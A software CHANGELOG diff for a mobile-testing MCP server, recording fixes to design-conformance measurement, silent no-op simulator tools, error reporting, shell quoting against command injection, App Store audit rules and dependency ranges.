+  Absolute top offset is demoted to advisory; the sibling gap plus the relational
+  checks carry the vertical signal.
+
+### Added
+
+- Content-independent checks promoted to first class: centred-in-frame (offset
+  from centre, not position), margin symmetry, shared centre line, and
+  icon/control size, which also flags anything under the 44pt minimum tap target.
+- 7 tests (80 total).
+
+---
+
+## [2.11.0] - 2026-07-25
+
+Recorded after the fact: this release shipped without a CHANGELOG entry. Summary
+transcribed from commit `0ec8ba3`.
+
+### Fixed
+
+- **False-positive inset findings.** A Figma node tree reports the instance
+  wrapper (full-bleed, x=0, w=375) while the accessibility tree reports the
+  visible card inside it (inset 16pt), so comparing one against the other
+  reported "+16pt off" on a conformant screen. For a row spanning at least 80% of
+  the frame the insets are now read off the two renders instead. Verified on a
+  real screen: 7 deviations down to 3, all 3 genuine. A genuinely wrong inset is
+  still caught, with a regression test.
+- An advisory-only screen no longer prints an empty DEVIATIONS heading, and that
+  guard's assertion targets the status chip rather than matching a substring
+  anywhere in the document.
+
+### Added
+
+- **Fixed-field fix prompt** replacing prose that lost which property moved and
+  by how much: element | property | expected -> actual | delta, plus a SHARED
+  ROOT CAUSE section collapsing a delta repeated across elements into one likely
+  container or token cause, and a DO NOT CHANGE section so advisories and fixture
+  differences are not "fixed" into new bugs.
+- 6 tests (73 total).
+
+---
+
+## [2.10.0] - 2026-07-25
+
+`design_visual_compare` now measures what a designer actually specifies, in
+points, instead of comparing raw pixel dimensions between two frames that are
+rarely the same size.
+
+### Changed
+
+- **Responsive, point-based conformance measurement.** Raw width/height deltas
+  were misleading: a device and a Figma frame are seldom the same width (402pt
+  vs 375pt), so a full-bleed 375pt design container measured against a 402pt
+  screen's 16pt-inset card reported "-29px too narrow" when nothing was wrong,
+  and any container that hugs its content turned every fixture difference into a
+  size finding that buried the real defects. The comparison now reports
+  per-element edge insets (left/right) rather than raw width, gaps between
+  consecutive elements, vertical placement, and font size, family and text
+  colour sampled from the text ink rather than the box average -  the box average
+  previously returned the background colour and so passed every check. Pass
+  `responsive: false` to restore the previous absolute-delta behaviour.
+- **Height is advisory.** It is still reported, but a content-driven height
+  difference no longer decides pass/fail and no longer inflates the deviation
+  count. Advisories render in their own uncounted group in the report.
+
+### Fixed
+
+- **The report dropped the measured delta.** `findingLine` discarded `f.detail`
+  whenever `expected`/`actual` were present, so an inset finding rendered as
+  "left 0pt -> left 16pt" and lost both the delta and which edge moved. The
+  detail is the actionable half of a responsive measurement, so it now renders
+  alongside.
+- **An advisory-only screen contradicted its own header.** The header total
+  excluded advisories but the per-screen status label and `fail` class were
+  computed by a separate expression that still counted them, so a screen whose
+  only finding was advisory rendered as DEVIATION underneath a header that said
+  0 deviations. Both now exclude advisories on the same terms.
+
+Adds 13 tests pinning the inset/gap/advisory behaviour and the report's
+advisory accounting.
+
+## [2.9.0] - 2026-07-25
+
+Every item below is one shape of defect: a tool that reported success while
+doing nothing. Three wrapped host-tool flags had silently stopped existing, and
+because no failure ever carried `isError`, no host could tell.
+
+### Fixed
+
+- **`isError` on every failure.** The `CallTool` dispatch returned command
+  failures as ordinary text, so a host -  and the pipeline gates reading these
+  results -  saw failure as success. Failures now return `isError: true`. Failing
+  command output is also capped at 600 chars: a failed `simctl` call was
+  inlining its entire ~3 KB usage page into the caller's context.
+- **`ios_biometric` was a no-op that claimed success.** `simctl keychain
+  <device> biometric-enroll` / `biometric-match` do not exist -  `keychain`
+  supports only `add-root-cert`, `add-cert`, `reset`. Now drives the BiometricKit
+  notification via `notifyutil` inside the simulator, and because `notifyutil`
+  exits 0 even when it cannot post the name, its output is inspected: a "Failed
+  with code N" line is reported as a failure with next steps instead of
+  "success simulated".
+- **`ios_go_home` was a no-op.** `simctl io <device> pressButton` does not exist
+  -  `io` supports only `enumerate`, `poll`, `recordVideo`, `screenshot`,
+  `screenConfig`. Routed through `idb ui button HOME`, like tap/swipe/type.
+- **`android_set_locale` reported success unconditionally.** It broadcast the
+  dead pre-Android-7 `SET_LOCALE` intent with stderr sent to `/dev/null`, and
+  `am broadcast` exits 0 even when nothing handles the intent. Now uses the
+  supported per-app path `cmd locale set-app-locales` (API 33+), inspects the
+  output for `Unknown command` / usage text before claiming success, and reads
+  the value back. `package_name` stays optional in the schema (no breaking
+  change) but the call returns an error instead of doing nothing without it.
+- **Command injection.** Commands are built as strings for a shell, and `$( )`
+  expands inside double quotes, so double-quoting a caller value did not contain
+  it. `ios_revoke_permission`'s `service` and the Android `permission` names were
+  interpolated with no quoting at all. Adds `shq()` (POSIX single-quoting),
+  `num()` for coordinates and scales, and `token()` for enum-shaped values, and
+  applies them across every caller-supplied interpolation.
+- **Unavailable-capability guards** ("Xcode not installed", "Android SDK not
+  installed") returned as success text; they are failures and now say so.
+- **ITMS-91061 filed at the wrong severity.** A required-SDK framework missing
+  `PrivacyInfo.xcprivacy` was a `5.1.1` WARNING; it has been an enforced upload
+  rejection since 2025-02-12. Now `ITMS-91061` at ERROR. This changes
+  archive-guard verdicts: archives that previously passed with a warning fail now.
+
+### Added
+
+- **`sdk-floor` audit rule** (ITMS-90725), bringing `ios_app_store_audit` to
+  **18 rules**. Asserts `DTSDKName` / `DTPlatformVersion` major >= 26 and
+  `DTXcode` >= 2600, the iOS 26 / Xcode 26 floor in force since 2026-04-28 -  a
+  hard upload rejection that nothing checked. Grouped as `core` because it costs
+  nothing to run. Reports a WARNING when an archive carries no build receipts at
+  all, rather than passing silently.
+
+### Changed
+
+- **`peerDependencies.playwright`** from the exact pin `1.61.1` to
+  `>=1.60.0 <2`. Since npm 7 an unsatisfiable peer is a hard `ERESOLVE`, so the
+  exact pin broke installs for anyone already on 1.62.0. None of the APIs removed
+  in the 1.60 window are used here, and browser-binary coupling is already
+  enforced inside the playwright package itself.
+- **`engines.node`** from `>=18.0.0` to `>=20.0.0`, matching what
+  `playwright@1.62.0` requires and what CI already runs.
+
+## [2.7.1] - 2026-07-25
+
+### Added
+
+- **Tool annotations** on all 78 tools (MCP `2025-11-25`): `readOnlyHint`,
+  `destructiveHint`, `idempotentHint`, `openWorldHint`. Hosts use these for
+  permission prompts and for deciding what may run unattended. 24 tools are
+  read-only (screenshots, UI trees, audits, device/app listings), 5 are
+  destructive (`ios_erase_device`, `ios_keychain_reset`, `ios_reset_permissions`,
+  `android_uninstall_app`, `android_clear_app_data`), 8 are open-world (the
+  `web_*` family). The classification lives in one auditable block in
+  `index.js`, not inline on 78 literals.
+- **`scripts/gates.sh`** - the single definition of "safe to ship": syntax over
+  every loaded file, a stdio `tools/list` handshake that must answer with a
+  non-zero count, the tool count matching every place it is advertised
+  (`package.json` description + README header), `npm pack --dry-run` covering
+  every runtime `tools/*/` directory, stdout hygiene (stdout is the JSON-RPC
+  channel), version single-sourcing, and every test suite in the repo. Run with
+  `npm run gates`.
+- **CI** (`.github/workflows/ci.yml`) on ubuntu + macOS x Node 20/22, running
+  `npm run gates` so the release path and CI cannot drift apart.
+- **`npm run gates`** script.
+
+### Changed
+
+- `@modelcontextprotocol/sdk` range `^1.0.0` -> `^1.29.0`. The old range let a
+  four-major spread install under the same declaration; the tested version is
+  now the declared one. Transitive advisories dropped from 8 (2 high: `hono`,
+  `fast-uri`) to 2 moderate.
+- `serverInfo.version` is read from `package.json` instead of a second
+  hardcoded literal, so a version bump can no longer leave the server
+  advertising a version consumers gate on but never received.
+
+### Known
+
+- Two moderate advisories remain in `@hono/node-server`, pulled in by the SDK's
+  streamable-HTTP transport. This server only runs over stdio and never loads
+  that path; the fix has to land upstream in the SDK (npm's only local
+  "fix" is a downgrade to an older SDK, which would be a regression).